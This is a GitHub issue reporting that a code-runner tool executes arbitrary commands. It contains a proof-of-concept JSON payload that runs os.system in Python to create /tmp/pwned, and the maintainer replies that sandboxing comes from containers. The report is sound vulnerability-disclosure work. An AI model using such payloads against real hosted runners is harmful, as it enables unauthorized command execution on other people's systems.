New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Arbitrarily code execute #15

Closed
IanSmith123 opened this Issue Aug 23, 2018 · 1 comment

Comments

Projects
None yet
2 participants
@IanSmith123

IanSmith123 commented Aug 23, 2018

This program doesn't limit the execution of command, we can run arbitrarily command on this runner.

payload:

{
  "language": "python",
  "files": [
    {
      "name": "main.py",
      "content": "import os\nos.system('touch /tmp/pwned')"
    }
  ]
}

output:

# ./runner
{
  "language": "python",
  "files": [
    {
      "name": "main.py",
      "content": "import os\nos.system('touch /tmp/pwned')"
    }
  ]
}
{"stdout":"","stderr":"","error":""}
# ls |grep pwn
pwned

If this program run on a website, it will cause remote command execution.

For example
image

@prasmussen

This comment has been minimized.

Owner

prasmussen commented Aug 25, 2018

Indeed, this tool does not limit what can be run. You should only run this inside a container or similar. glot.io uses this inside glot-containers for sandboxing and the container is deleted after each run.

@prasmussen prasmussen closed this Aug 25, 2018

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment